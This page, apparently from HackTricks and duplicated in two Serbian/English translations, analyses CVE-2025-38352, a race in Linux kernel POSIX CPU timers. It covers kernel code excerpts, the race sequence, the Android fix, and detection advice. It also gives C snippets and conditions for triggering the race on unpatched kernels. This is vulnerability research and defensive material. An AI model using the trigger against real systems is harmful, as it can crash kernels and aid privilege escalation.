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- [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
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# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
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{{#include ../../../banners/hacktricks-training.md}}
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Ova stranica opisuje TOCTOU trku u Linux/Android POSIX CPU timers koja može korumpirati stanje timera i oboriti kernel, a u nekim slučajevima može dovesti do privilege escalation.
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- Pogođena komponenta: kernel/time/posix-cpu-timers.c
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- Primitiv: expiry vs deletion race pri izlasku taska
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- Osetljivo na konfiguraciju: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
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Kratak pregled internih mehanizama (relevantno za eksploataciju)
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- Tri CPU clocks upravljaju obračunom timera putem cpu_clock_sample():
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- CPUCLOCK_PROF: utime + stime
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- CPUCLOCK_VIRT: samo utime
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- CPUCLOCK_SCHED: task_sched_runtime()
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- Kreiranje timera povezuje timer sa task/pid i inicijalizuje timerqueue čvorove:
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```c
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static int posix_cpu_timer_create(struct k_itimer *new_timer) {
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struct pid *pid;
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rcu_read_lock();
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pid = pid_for_clock(new_timer->it_clock, false);
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if (!pid) { rcu_read_unlock(); return -EINVAL; }
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new_timer->kclock = &clock_posix_cpu;
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timerqueue_init(&new_timer->it.cpu.node);
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new_timer->it.cpu.pid = get_pid(pid);
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rcu_read_unlock();
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return 0;
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}
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```
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- Arming ubacuje u per-base timerqueue i može ažurirati next-expiry cache:
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```c
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static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
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struct posix_cputimer_base *base = timer_base(timer, p);
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struct cpu_timer *ctmr = &timer->it.cpu;
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u64 newexp = cpu_timer_getexpires(ctmr);
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if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
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if (newexp < base->nextevt) base->nextevt = newexp;
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}
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```
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- Brza putanja izbegava zahtevnu obradu osim ako keširani isteci ne ukazuju na moguće aktiviranje:
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```c
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static inline bool fastpath_timer_check(struct task_struct *tsk) {
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struct posix_cputimers *pct = &tsk->posix_cputimers;
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if (!expiry_cache_is_inactive(pct)) {
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u64 samples[CPUCLOCK_MAX];
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task_sample_cputime(tsk, samples);
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if (task_cputimers_expired(samples, pct))
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return true;
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}
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return false;
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}
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```
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- Isticanje prikuplja istekle tajmere, označava ih kao okinute, uklanja ih iz reda; stvarna isporuka se odlaže:
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```c
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#define MAX_COLLECTED 20
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static u64 collect_timerqueue(struct timerqueue_head *head,
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struct list_head *firing, u64 now) {
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struct timerqueue_node *next; int i = 0;
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while ((next = timerqueue_getnext(head))) {
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struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
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u64 expires = cpu_timer_getexpires(ctmr);
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if (++i == MAX_COLLECTED || now < expires) return expires;
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ctmr->firing = 1; // critical state
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rcu_assign_pointer(ctmr->handling, current);
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cpu_timer_dequeue(ctmr);
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list_add_tail(&ctmr->elist, firing);
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}
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return U64_MAX;
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}
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```
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Dva režima obrade isteka
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- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: istek se odlaže putem task_work na ciljnom zadatku
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- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: istek se obrađuje direktno u IRQ kontekstu
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```c
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void run_posix_cpu_timers(void) {
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struct task_struct *tsk = current;
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__run_posix_cpu_timers(tsk);
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}
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#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
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static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
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if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
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tsk->posix_cputimers_work.scheduled = true;
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task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
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}
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#else
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static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
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lockdep_posixtimer_enter();
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handle_posix_cpu_timers(tsk); // IRQ-context path
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lockdep_posixtimer_exit();
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}
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#endif
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```
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U IRQ-context putanji, firing list se obrađuje izvan sighand
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```c
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static void handle_posix_cpu_timers(struct task_struct *tsk) {
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struct k_itimer *timer, *next; unsigned long flags, start;
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LIST_HEAD(firing);
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if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
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do {
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start = READ_ONCE(jiffies); barrier();
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check_thread_timers(tsk, &firing);
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check_process_timers(tsk, &firing);
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} while (!posix_cpu_timers_enable_work(tsk, start));
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unlock_task_sighand(tsk, &flags); // race window opens here
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list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
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int cpu_firing;
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spin_lock(&timer->it_lock);
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list_del_init(&timer->it.cpu.elist);
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cpu_firing = timer->it.cpu.firing; // read then reset
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timer->it.cpu.firing = 0;
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if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
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rcu_assign_pointer(timer->it.cpu.handling, NULL);
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spin_unlock(&timer->it_lock);
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}
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}
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```
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Root cause: TOCTOU između IRQ-time expiry i konkurentnog brisanja tokom izlaska task-a
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Preconditions
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- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
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- Ciljni task izlazi, ali proces izlaska još nije dovršen (nije u potpunosti reaped)
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- Drugi thread istovremeno poziva posix_cpu_timer_del() za isti timer
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Sequence
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1) update_process_times() pokreće run_posix_cpu_timers() u IRQ kontekstu za task koji izlazi.
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2) collect_timerqueue() postavlja ctmr->firing = 1 i premešta timer na privremenu firing listu.
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3) handle_posix_cpu_timers() otpusta sighand pomoću unlock_task_sighand() da bi isporučio timere van lock-a.
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4) Odmah nakon unlock-a, task koji izlazi može biti reaped; sibling thread izvršava posix_cpu_timer_del().
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5) U ovom prozoru, posix_cpu_timer_del() može da ne uspe da stekne state preko cpu_timer_task_rcu()/lock_task_sighand() i tako preskoči normalnu in-flight zaštitu koja proverava timer->it.cpu.firing. Brisanje se nastavlja kao da nije firing, korumpirajući stanje dok se expiry obrađuje, što dovodi do crash-eva/UB.
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Zašto je TASK_WORK mode bezbedan po dizajnu
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- Sa CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry je odložen na task_work; exit_task_work se izvršava pre exit_notify, tako da se IRQ-time preklapanje sa reaping-om ne dešava.
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- Čak i tada, ako task već izlazi, task_work_add() ne uspe; gating na exit_state čini oba moda konzistentnim.
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Fix (Android common kernel) and rationale
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- Dodati rani return ako current task izlazi, gatingujući svu obradu:
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```c
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// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
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if (tsk->exit_state)
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return;
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```
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- Ovo sprečava ulazak u handle_posix_cpu_timers() za izlazeće zadatke, eliminišući prozor u kojem posix_cpu_timer_del() može da propusti it.cpu.firing i race sa obradom isteka.
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Impact
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- Oštećenje kernel memorije struktura timer-a tokom istovremenog isteka/brisanja može dovesti do trenutnih padova (DoS) i predstavlja snažan primitiv za privilege escalation zbog mogućnosti proizvoljne manipulacije kernel-state.
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Triggering the bug (safe, reproducible conditions)
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Build/config
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- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
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Runtime strategy
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- Ciljajte nit koja je pred izlaskom i prikačite CPU timer na nju (per-thread or process-wide clock):
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- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
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- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
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- Postavite veoma kratak početni istekač i mali interval kako biste maksimizirali ulaske u IRQ-path:
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```c
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static timer_t t;
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static void setup_cpu_timer(void) {
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struct sigevent sev = {0};
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sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
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sev.sigev_signo = SIGUSR1;
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if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
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struct itimerspec its = {0};
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its.it_value.tv_nsec = 1; // fire ASAP
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its.it_interval.tv_nsec = 1; // re-fire
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if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
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}
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```
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- Iz srodne niti, istovremeno obrišite isti timer dok ciljana nit izlazi:
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```c
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void *deleter(void *arg) {
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for (;;) (void)timer_delete(t); // hammer delete in a loop
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}
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```
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- Pojačivači race uslova: visok scheduler tick rate, CPU load, ponovljeni ciklusi izlaska i ponovnog kreiranja niti. Pad se obično manifestuje kada posix_cpu_timer_del() preskoči uočavanje firing zbog neuspešnog task lookup/locking odmah nakon unlock_task_sighand().
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Detection and hardening
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- Mitigacija: primeniti exit_state guard; po mogućnosti omogućiti CONFIG_POSIX_CPU_TIMERS_TASK_WORK kada je izvodljivo.
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- Observability: dodati tracepoints/WARN_ONCE oko unlock_task_sighand()/posix_cpu_timer_del(); alarmirati kada se it.cpu.firing==1 uoči zajedno sa neuspehom cpu_timer_task_rcu()/lock_task_sighand(); pratiti inconsistency-je u timerqueue oko izlaza task-a.
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Audit hotspots (for reviewers)
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- update_process_times() → run_posix_cpu_timers() (IRQ)
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- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
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- collect_timerqueue(): postavlja ctmr->firing i pomera čvorove
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- handle_posix_cpu_timers(): drops sighand pre firing petlje
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- posix_cpu_timer_del(): oslanja se na it.cpu.firing da detektuje in-flight expiry; ova provera se preskače kada task lookup/lock ne uspe tokom exit/reap
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Notes for exploitation research
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- Otkriveno ponašanje je pouzdan kernel crash primitive; pretvaranje toga u privilege escalation obično zahteva dodatni kontrolisani overlap (object lifetime ili write-what-where influence) izvan opsega ovog sažetka. Smatrajte svaki PoC potencijalno destabilizujućim i pokrećite ga samo u emulatorima/VMs.
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## References
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- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
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- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
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- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
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{{#include ../../../banners/hacktricks-training.md}}
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# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
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{{#include ../../../banners/hacktricks-training.md}}
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Ova stranica dokumentuje TOCTOU race condition u Linux/Android POSIX CPU timerima koji može korumpirati stanje timera i srušiti kernel, a u određenim okolnostima može se iskoristiti za eskalaciju privilegija.
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- Pogođena komponenta: kernel/time/posix-cpu-timers.c
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- Primitiv: expiry vs deletion race under task exit
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- Osetljivo na konfiguraciju: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
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Kratak pregled unutrašnjih mehanizama (relevantno za eksploataciju)
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- Tri CPU clock-a vode obračun za timere preko cpu_clock_sample():
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- CPUCLOCK_PROF: utime + stime
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- CPUCLOCK_VIRT: samo utime
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- CPUCLOCK_SCHED: task_sched_runtime()
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- Kreiranje timera povezuje timer sa task/pid-om i inicijalizuje timerqueue čvorove:
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```c
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static int posix_cpu_timer_create(struct k_itimer *new_timer) {
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struct pid *pid;
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rcu_read_lock();
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pid = pid_for_clock(new_timer->it_clock, false);
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if (!pid) { rcu_read_unlock(); return -EINVAL; }
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new_timer->kclock = &clock_posix_cpu;
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timerqueue_init(&new_timer->it.cpu.node);
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new_timer->it.cpu.pid = get_pid(pid);
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rcu_read_unlock();
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return 0;
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}
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```
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- Arming umeće u per-base timerqueue i može ažurirati keš sledećeg isteka:
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```c
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static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
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struct posix_cputimer_base *base = timer_base(timer, p);
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struct cpu_timer *ctmr = &timer->it.cpu;
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u64 newexp = cpu_timer_getexpires(ctmr);
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if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
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if (newexp < base->nextevt) base->nextevt = newexp;
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}
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```
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- Brza putanja izbegava skupe operacije osim ako keširani zapisi o isteku ne ukazuju na moguće okidanje:
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```c
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static inline bool fastpath_timer_check(struct task_struct *tsk) {
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struct posix_cputimers *pct = &tsk->posix_cputimers;
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if (!expiry_cache_is_inactive(pct)) {
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u64 samples[CPUCLOCK_MAX];
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task_sample_cputime(tsk, samples);
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if (task_cputimers_expired(samples, pct))
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return true;
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}
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return false;
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}
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```
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- Isticanje prikuplja istekle tajmere, označava ih kao okinute, sklanja ih sa reda; stvarna isporuka se odlaže:
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```c
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#define MAX_COLLECTED 20
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static u64 collect_timerqueue(struct timerqueue_head *head,
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struct list_head *firing, u64 now) {
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struct timerqueue_node *next; int i = 0;
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while ((next = timerqueue_getnext(head))) {
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struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
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u64 expires = cpu_timer_getexpires(ctmr);
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if (++i == MAX_COLLECTED || now < expires) return expires;
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ctmr->firing = 1; // critical state
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rcu_assign_pointer(ctmr->handling, current);
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cpu_timer_dequeue(ctmr);
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list_add_tail(&ctmr->elist, firing);
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}
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return U64_MAX;
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}
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```
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Dva režima obrade isteka
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- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: istek se odlaže putem task_work na ciljanom tasku
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- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: istek se obrađuje direktno u IRQ kontekstu
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```c
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void run_posix_cpu_timers(void) {
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struct task_struct *tsk = current;
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__run_posix_cpu_timers(tsk);
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}
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#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
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static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
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if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
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tsk->posix_cputimers_work.scheduled = true;
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task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
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}
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#else
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static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
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lockdep_posixtimer_enter();
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handle_posix_cpu_timers(tsk); // IRQ-context path
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lockdep_posixtimer_exit();
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}
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#endif
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```
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Na IRQ-context putanji, firing list se obrađuje izvan sighand
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```c
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static void handle_posix_cpu_timers(struct task_struct *tsk) {
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struct k_itimer *timer, *next; unsigned long flags, start;
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LIST_HEAD(firing);
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if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
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do {
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start = READ_ONCE(jiffies); barrier();
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check_thread_timers(tsk, &firing);
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check_process_timers(tsk, &firing);
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} while (!posix_cpu_timers_enable_work(tsk, start));
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unlock_task_sighand(tsk, &flags); // race window opens here
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list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
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int cpu_firing;
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spin_lock(&timer->it_lock);
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list_del_init(&timer->it.cpu.elist);
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cpu_firing = timer->it.cpu.firing; // read then reset
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timer->it.cpu.firing = 0;
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if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
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rcu_assign_pointer(timer->it.cpu.handling, NULL);
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spin_unlock(&timer->it_lock);
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}
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}
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```
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Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
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Preconditions
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- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
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- The target task is exiting but not fully reaped
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- Another thread concurrently calls posix_cpu_timer_del() for the same timer
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Sequence
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1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
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2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
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3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
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4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
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5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
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Why TASK_WORK mode is safe by design
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- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
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- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
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Fix (Android common kernel) and rationale
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- Add an early return if current task is exiting, gating all processing:
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```c
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// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
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if (tsk->exit_state)
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return;
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```
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- Ovo sprečava ulazak u handle_posix_cpu_timers() za zadatke koji su u procesu izlaska, eliminišući prozor u kome posix_cpu_timer_del() može da propusti it.cpu.firing i da se trka sa obradom isteka.
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Uticaj
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- Oštećenje kernel memorije u strukturama timera tokom istovremenog isteka/brisanja može dovesti do trenutnih padova (DoS) i predstavlja snažan primitiv za eskalaciju privilegija zbog mogućnosti proizvoljne manipulacije stanjem kernela.
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Pokretanje buga (bezbedni, ponovljivi uslovi)
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Build/config
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- Obezbedite CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n i koristite kernel bez fix-a za exit_state gating.
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Strategija izvršavanja (runtime)
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- Ciljajte nit koja je na izlasku i pridružite joj CPU timer (po niti ili za ceo proces):
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- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
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- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
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- Podesite veoma kratko početno isteknuće i mali interval kako biste maksimalizovali ulaze u IRQ-putanju:
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```c
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static timer_t t;
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static void setup_cpu_timer(void) {
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struct sigevent sev = {0};
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sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
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sev.sigev_signo = SIGUSR1;
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if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
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struct itimerspec its = {0};
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its.it_value.tv_nsec = 1; // fire ASAP
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its.it_interval.tv_nsec = 1; // re-fire
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if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
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}
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```
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- Iz srodnog thread-a, istovremeno obrišite isti timer dok ciljni thread izlazi:
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```c
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void *deleter(void *arg) {
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for (;;) (void)timer_delete(t); // hammer delete in a loop
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}
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```
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- Pojačivači trke: visok scheduler tick rate, CPU opterećenje, ponovljeni ciklusi izlaska/ponovnog kreiranja thread-ova. Crash se obično manifestuje kada posix_cpu_timer_del() preskoči uočavanje firing-a zbog neuspeha pri task lookup/locking odmah nakon unlock_task_sighand().
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Detection and hardening
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- Mitigation: primeniti exit_state guard; po mogućstvu omogućiti CONFIG_POSIX_CPU_TIMERS_TASK_WORK.
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- Observability: dodati tracepoints/WARN_ONCE oko unlock_task_sighand()/posix_cpu_timer_del(); alarmirati kada se it.cpu.firing==1 uoči zajedno sa neuspehom cpu_timer_task_rcu()/lock_task_sighand(); pratiti neusaglašenosti u timerqueue oko izlaska task-a.
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Audit hotspots (for reviewers)
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- update_process_times() → run_posix_cpu_timers() (IRQ)
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- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
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- collect_timerqueue(): sets ctmr->firing and moves nodes
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- handle_posix_cpu_timers(): drops sighand before firing loop
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- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
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Notes for exploitation research
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- Objavljeno ponašanje predstavlja pouzdan kernel crash primitive; da bi se to pretvorilo u privilege escalation obično je potreban dodatni kontrolisani overlap (object lifetime ili write-what-where uticaj) izvan opsega ovog sažetka. Smatrajte svaki PoC potencijalno destabilizujućim i pokrećite ga samo u emulatorima/VMs.
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## References
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- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
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- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
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- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
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